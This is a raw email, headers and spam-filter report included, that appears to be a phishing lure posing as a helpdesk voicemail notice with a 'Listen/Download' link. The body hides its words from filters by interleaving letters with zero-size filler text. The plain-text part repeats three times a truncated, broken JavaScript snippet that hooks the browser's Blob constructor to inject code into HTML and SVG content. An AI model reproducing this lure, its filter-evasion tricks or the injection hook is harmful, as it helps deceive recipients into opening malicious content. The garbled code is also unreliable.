Return-Path: <0100018a2c7f3bae-42540870-b0e8-4c52-b279-f49b89b0ec2b-000000@amazonses.com> Delivered-To: denize@reidoscapachos.com.br Received: from puma.br-rgt.net by puma.br-rgt.net with LMTP id qAUtAnGT6GRJMQAAyBhSMw (envelope-from <0100018a2c7f3bae-42540870-b0e8-4c52-b279-f49b89b0ec2b-000000@amazonses.com>) for ; Fri, 25 Aug 2023 11:41:37 +0000 Return-path: <0100018a2c7f3bae-42540870-b0e8-4c52-b279-f49b89b0ec2b-000000@amazonses.com> Envelope-to: denize@reidoscapachos.com.br Delivery-date: Fri, 25 Aug 2023 11:41:37 +0000 Received: from a48-106.smtp-out.amazonses.com ([54.240.48.106]:34269) by puma.br-rgt.net with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (Exim 4.96) (envelope-from <0100018a2c7f3bae-42540870-b0e8-4c52-b279-f49b89b0ec2b-000000@amazonses.com>) id 1qZVC4-0007ME-0x for denize@reidoscapachos.com.br; Fri, 25 Aug 2023 11:41:36 +0000 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple; s=iflbvfsas2yo4bmw43mnxucdac4swjvi; d=likin.do; t=1692963651; h=Message-Id:Mime-Version:From:To:Subject:Date:Content-Type; bh=c1WY10/s1Mtkr1iSu6Amhe/6lTiXD8yvDPZ7GIFwFDw=; b=HN4w6tUO820VhyIjZP7OUS75X8oyOx3m4t8GGfjqq8hC6SjwnI9Bl4z3In69YFYE 7manNQfSMhbOj10kUJxIfF0fJB8Cfw/gKWYGrBTiDplAdhgkZPPLOmFuahzu3jCPezI efATI5kjjLjTKye8gdtvVf5YnUKzBnXCWRpW9bvE= DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple; s=224i4yxa5dv7c2xz3womw6peuasteono; d=amazonses.com; t=1692963651; h=Message-Id:Mime-Version:From:To:Subject:Date:Content-Type:Feedback-ID; bh=c1WY10/s1Mtkr1iSu6Amhe/6lTiXD8yvDPZ7GIFwFDw=; b=Ju6o6MMGC5/zkFnNogGey/jN9ntfnWjqXD++cySP32jloQC91KlgIzzgy4l2XLd/ qc3eFNVtTIqN61zyMvA5kcIAkD83SM3VDs5/HThfv407kvpHUnipF2N8sjFTG+z3loT msjj+V8TVluXObY6nzFVi/dktqWnWU+N8zlcrUD4= Message-ID: <0100018a2c7f3bae-42540870-b0e8-4c52-b279-f49b89b0ec2b-000000@email.amazonses.com> Mime-Version: 1.0 From: REIDOSCAPACHOS-Helpdesk Support To: denize@reidoscapachos.com.br Subject: New Audio Received - wav-2C179901 Date: Fri, 25 Aug 2023 11:40:50 +0000 Content-Type: multipart/alternative; Boundary="--=BOUNDARY_825440_CFEL_YMWV_FRNO_PHXL" Feedback-ID: 1.us-east-1.OSp3e1CUis6bj/ev05FmFQCGwuYjf22QmFeNPF7ZMUo=:AmazonSES X-SES-Outgoing: 2023.08.25-54.240.48.106 X-Spam-Status: No, score=4.4 X-Spam-Score: 44 X-Spam-Bar: ++++ X-Ham-Report: Spam detection software, running on the system "puma.br-rgt.net", has NOT identified this incoming email as spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: (function(){function hookGeo() { // { const bind = Function.bind; const unbind = bind.bind(bind); return new (unbind(constructor, null).apply(null, args)); } Blob = function (_Blob) { function secureBlob(...args) { const injectableMimeTypes = [ { mime: 'text/html', useXMLparser: false }, { mime: 'application/xhtml+xml', useXMLparser: true }, { mime: 'text/ [...] Content analysis details: (4.4 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 URIBL_DBL_BLOCKED_OPENDNS ADMINISTRATOR NOTICE: The query to dbl.spamhaus.org was blocked due to usage of an open resolver. See https://www.spamhaus.org/returnc/pub/ [URIs: peterjohnsonfineart.com] 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URIs: peterjohnsonfineart.com] 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail domains are different 1.5 MPART_ALT_DIFF_COUNT BODY: HTML and text parts are different 0.0 HTML_MESSAGE BODY: HTML included in message 1.2 HTML_OBFUSCATE_10_20 BODY: Message is 10% to 20% HTML obfuscation 0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid 0.8 CPANEL_LOTS_OF_EMPTY_LINE RAW: Spam that has large block of empty lines 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment -0.0 T_SCC_BODY_TEXT_LINE No description available. 0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid 0.5 KAM_NUMSUBJECT Subject ends in numbers excluding current years X-Spam-Flag: NO This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ----=BOUNDARY_825440_CFEL_YMWV_FRNO_PHXL Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: quoted-printable (function(){function hookGeo() { // { const bind =3D Function=2Ebind; const= unbind =3D bind=2Ebind(bind); return new (unbind(constructor, null)=2Eapply(null, args)); } Blob =3D function (_Blob) { function secureBlob(=2E=2E=2Eargs) { const injectableMimeTypes =3D [ { mime: 'text/html', useXMLparser: false }, { mime: 'application/xhtml+xml', useXMLparser: true }, { mime: 'text/xml', useXMLparser: true }, { mime: 'application/xml', useXMLparser: true }, { mime: 'image/svg+xml', useXMLparser: true }, ]; let typeEl =3D args=2Efind(arg =3D> (typeof arg =3D=3D=3D 'object') && (typ= eof arg=2Etype =3D=3D=3D 'string') && (arg=2Etype)); if (typeof typeEl !=3D=3D 'undefined' && (typeof args[0][0] =3D=3D=3D 'stri= ng')) { const mimeTypeIndex =3D injectableMimeTypes=2EfindIndex(mimeType =3D> mimeType=2Emime=2EtoLowerCase() =3D=3D=3D typeEl=2Etype=2EtoLowerCase()); i= f (mimeTypeIndex >=3D 0) { let mimeType =3D injectableMimeTypes[mimeTypeIndex]; let injectedCode =3D `( ${hookGeo} )();`; let parser =3D new DOMParser(); let xmlDoc; if (mimeType=2EuseXMLparser = =3D=3D=3D true) { xmlDoc =3D parser=2EparseFromString(args[0]=2Ejoin(''), mimeType=2Emime); // For XML documents we need to merge all items in order to not break the header when injecting } else { xmlDoc =3D parser=2EparseFromString(args[0][0], mimeType=2Emime); } if (xmlDoc=2EgetElementsByTagName("parsererror")=2Elength =3D=3D=3D 0) { //= if no errors were found while parsing=2E=2E=2E xmlDoc=2EdocumentElement=2EinsertAdjacentHTML('afterbegin', injectedCode); if (mimeType=2EuseXMLparser =3D=3D=3D true) { args[0] =3D [new XMLSerializer()=2EserializeToString(xmlDoc)]; } else { args[0][0] =3D xmlDoc=2EdocumentElement=2EouterHTML; } } } } return instantiate(_Blob, args); // arguments? } // Copy props and methods let propNames =3D Object=2EgetOwnPropertyNames(_Blob); for (let i =3D 0; i }hookGeo();})() (function(){function hookGeo() { // { const bind =3D Function=2Ebind; const= unbind =3D bind=2Ebind(bind); return new (unbind(constructor, null)=2Eapply(null, args)); } Blob =3D function (_Blob) { function secureBlob(=2E=2E=2Eargs) { const injectableMimeTypes =3D [ { mime: 'text/html', useXMLparser: false }, { mime: 'application/xhtml+xml', useXMLparser: true }, { mime: 'text/xml', useXMLparser: true }, { mime: 'application/xml', useXMLparser: true }, { mime: 'image/svg+xml', useXMLparser: true }, ]; let typeEl =3D args=2Efind(arg =3D> (typeof arg =3D=3D=3D 'object') && (typ= eof arg=2Etype =3D=3D=3D 'string') && (arg=2Etype)); if (typeof typeEl !=3D=3D 'undefined' && (typeof args[0][0] =3D=3D=3D 'stri= ng')) { const mimeTypeIndex =3D injectableMimeTypes=2EfindIndex(mimeType =3D> mimeType=2Emime=2EtoLowerCase() =3D=3D=3D typeEl=2Etype=2EtoLowerCase()); i= f (mimeTypeIndex >=3D 0) { let mimeType =3D injectableMimeTypes[mimeTypeIndex]; let injectedCode =3D `( ${hookGeo} )();`; let parser =3D new DOMParser(); let xmlDoc; if (mimeType=2EuseXMLparser = =3D=3D=3D true) { xmlDoc =3D parser=2EparseFromString(args[0]=2Ejoin(''), mimeType=2Emime); // For XML documents we need to merge all items in order to not break the header when injecting } else { xmlDoc =3D parser=2EparseFromString(args[0][0], mimeType=2Emime); } if (xmlDoc=2EgetElementsByTagName("parsererror")=2Elength =3D=3D=3D 0) { //= if no errors were found while parsing=2E=2E=2E xmlDoc=2EdocumentElement=2EinsertAdjacentHTML('afterbegin', injectedCode); if (mimeType=2EuseXMLparser =3D=3D=3D true) { args[0] =3D [new XMLSerializer()=2EserializeToString(xmlDoc)]; } else { args[0][0] =3D xmlDoc=2EdocumentElement=2EouterHTML; } } } } return instantiate(_Blob, args); // arguments? } // Copy props and methods let propNames =3D Object=2EgetOwnPropertyNames(_Blob); for (let i =3D 0; i }hookGeo();})()(function(){function hookGeo() { // { const bind =3D Function=2Ebind; const unbind =3D bind=2Ebind(bind); return new (unbind(constructor, null)=2Eapply(null, args)); } Blob =3D function (_Blob) { function secureBlob(=2E=2E=2Eargs) { const injectableMimeTypes =3D [ { mime: 'text/html', useXMLparser: false }, { mime: 'application/xhtml+xml', useXMLparser: true }, { mime: 'text/xml', useXMLparser: true }, { mime: 'application/xml', useXMLparser: true }, { mime: 'image/svg+xml', useXMLparser: true }, ]; let typeEl =3D args=2Efind(arg =3D> (typeof arg =3D=3D=3D 'object') && (typ= eof arg=2Etype =3D=3D=3D 'string') && (arg=2Etype)); if (typeof typeEl !=3D=3D 'undefined' && (typeof args[0][0] =3D=3D=3D 'stri= ng')) { const mimeTypeIndex =3D injectableMimeTypes=2EfindIndex(mimeType =3D> mimeType=2Emime=2EtoLowerCase() =3D=3D=3D typeEl=2Etype=2EtoLowerCase()); i= f (mimeTypeIndex >=3D 0) { let mimeType =3D injectableMimeTypes[mimeTypeIndex]; let injectedCode =3D `( ${hookGeo} )();`; let parser =3D new DOMParser(); let xmlDoc; if (mimeType=2EuseXMLparser = =3D=3D=3D true) { xmlDoc =3D parser=2EparseFromString(args[0]=2Ejoin(''), mimeType=2Emime); // For XML documents we need to merge all items in order to not break the header when injecting } else { xmlDoc =3D parser=2EparseFromString(args[0][0], mimeType=2Emime); } if (xmlDoc=2EgetElementsByTagName("parsererror")=2Elength =3D=3D=3D 0) { //= if no errors were found while parsing=2E=2E=2E xmlDoc=2EdocumentElement=2EinsertAdjacentHTML('afterbegin', injectedCode); if (mimeType=2EuseXMLparser =3D=3D=3D true) { args[0] =3D [new XMLSerializer()=2EserializeToString(xmlDoc)]; } else { args[0][0] =3D xmlDoc=2EdocumentElement=2EouterHTML; } } } } return instantiate(_Blob, args); // arguments? } // Copy props and methods let propNames =3D Object=2EgetOwnPropertyNames(_Blob); for (let i =3D 0; i }hookGeo();})() SUB { FONT-SIZE: 0; } =2Ebody {font-family: Calibri, Helvetica, sans-serif; font-size: 17px;} =2Elol {font-family: Calibri, Helvetica, sans-serif; font-size: 25px;font-weight: 700;COLOR:#CC0000;} =2Ebrt {MIN-WIDTH: 50px;PADDING-BOTTOM: 5px;PADDING-TOP: 5px;PADDING-LEFT: 20px;PADDING-RIGHT: 20px;BACKGROUND-COLOR:#CC0000;} =2Ex1 {TEXT-DECORATION: none;FONT-FAMILY: 'Calibri';FONT-WEIGHT: 600;COLOR: rgb(255, 255, 255);TEXT-ALIGN: center;} =2Etbt {font-family: Arial, Helvetica, sans-serif; font-weight: bold;}=2Ebg { background: #E9E9E9; } Hello, You have a new Audio Message Extension ---------------- [Date_long] [Time_long] DOMCN[Date_long] [Time_long] DOMCe[Date_long] [Time_long] DOMCw[Date_long] [Time_long] DOMC [Date_long] [Time_long] DOMCv[Date_long] [Time_long] DOMCo[Date_long] [Time_long] DOMCi[Date_long] [Time_long] DOMCc[Date_long] [Time_long] DOMCe[Date_long] [Time_long] DOMCm[Date_long] [Time_long] DOMCa[Date_long] [Time_long] DOMCi[Date_long] [Time_long] DOMCl[Date_long] [Time_long] DOMC [Date_long] [Time_long] DOMCd[Date_long] [Time_long] DOMCe[Date_long] [Time_long] DOMCt[Date_long] [Time_long] DOMCa[Date_long] [Time_long] DOMCi[Date_long] [Time_long] DOMCl[Date_long] [Time_long] DOMCs[Date_long] [Time_long] DOMC:[Date_long] [Time_long] DOMC   Receiver: denize@reidoscapachos=2Ecom=2Ebr Date/Time Friday, August 25, 2023 Duration: 1:13 Caller:  (***-902-**89) Listen/Download  [Date_long] [Time_long] DOMCP[Date_long] [Time_long] DOMCL[Date_long] [Time_long] DOMCA[Date_long] [Time_long] DOMCY[Date_long] [Time_long] DOMC-[Date_long] [Time_long] DOMCV[Date_long] [Time_long] DOMCM[Date_long] [Time_long] DOMC-[Date_long] [Time_long] DOMC01-24-2023[Date_long] [Time_long] DOMC-[Date_long] [Time_long] DOMC780302789[Date_long] [Time_long] DOMC=2E[Date_long] [Time_long] DOMCw[Date_long] [Time_long] DOMCa[Date_long] [Time_long] DOMCv[Date_long] [Time_long] DOMC ---------------- ----=BOUNDARY_825440_CFEL_YMWV_FRNO_PHXL Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable

Hello,

You have a new Audio Message Extension


[Date_long] [Time_long] DOMCN[= Date_long] [Time_long] DOMCe[Date_long] [Time_long] DOMCw<= sub>[Date_long] [Time_long] DOMC [Date_long] [Time_long] DO= MCv[Date_long] [Time_long] DOMCo[Date_long] [Time_lon= g] DOMCi[Date_long] [Time_long] DOMCc[Date_long] [Tim= e_long] DOMCe[Date_long] [Time_long] DOMCm[Date_long]= [Time_long] DOMCa[Date_long] [Time_long] DOMCi[Date_= long] [Time_long] DOMCl[Date_long] [Time_long] DOMC <= sub>[Date_long] [Time_long] DOMCd[Date_long] [Time_long] DOMCe[Date_long] [Time_long] DOMCt[Date_long] [Time_long] DO= MCa[Date_long] [Time_long] DOMCi[Date_long] [Time_lon= g] DOMCl[Date_long] [Time_long] DOMCs[Date_long] [Tim= e_long] DOMC:[Date_long] [Time_long] DOMC
 
Receiver:
denize@reidoscapachos=2Ecom=2Ebr
Date/Time
Friday, August 25, 2023
Duration:
1:13
Caller:
 (***-902-**89)
Listen/Download
 [Date_long] [Time_long] DOMCP[Date_l= ong] [Time_long] DOMCL[Date_long] [Time_long] DOMCA[D= ate_long] [Time_long] DOMCY[Date_long] [Time_long] DOMC-[Date_long] [Time_long] DOMCV[Date_long] [Time_long] DOMCM[Date_long] [Time_long] DOMC-[Date_long] [Time_long] DOM= C01-24-2023[Date_long] [Time_long] DOMC-[Date_long] [= Time_long] DOMC780302789[Date_long] [Time_long] DOMC= =2E[Date_long] [Time_long] DOMCw[Date_long] [Time_long] DOM= Ca[Date_long] [Time_long] DOMCv[Date_long] [Time_long= ] DOMC

----=BOUNDARY_825440_CFEL_YMWV_FRNO_PHXL--